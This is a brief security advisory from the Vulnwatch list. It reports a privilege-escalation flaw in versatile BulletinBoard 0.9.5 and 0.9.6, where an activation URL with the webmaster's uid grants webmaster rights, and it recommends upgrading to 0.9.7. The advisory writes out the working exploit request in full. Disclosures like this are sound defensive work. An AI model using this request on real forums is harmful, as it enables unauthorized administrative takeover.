Vulnwatch: vulnerability in versatile BulletinBoard Allows Gaining Administrative Privileges.

["NaSsEr .M.Sh" <nmsh_sa () yahoo com>]

Vulnerable systems:
0.9.6
0.9.5


Immune systems:
0.9.7


Impact:
versatile BulletinBoard suffers from a vulnerability that allows attacker to be a forum webmaster due to a bug in 
activation method.


Exploit:
uid=11 <===== is webmaster by default
http://target.com/forumfolder/activate.php?uid=11&ac=0

Now click on button (go to forums).

NOW YOU HAVE WEBMASTER PRIVILEGES

 

Solution:

Upgrade to the latest version of versatile BulletinBoard (version 0.9.7).
- Website :http://vbb.eniki.de

Provided by :
Nasser.M.Sh
nmsh_sa () yahoo com



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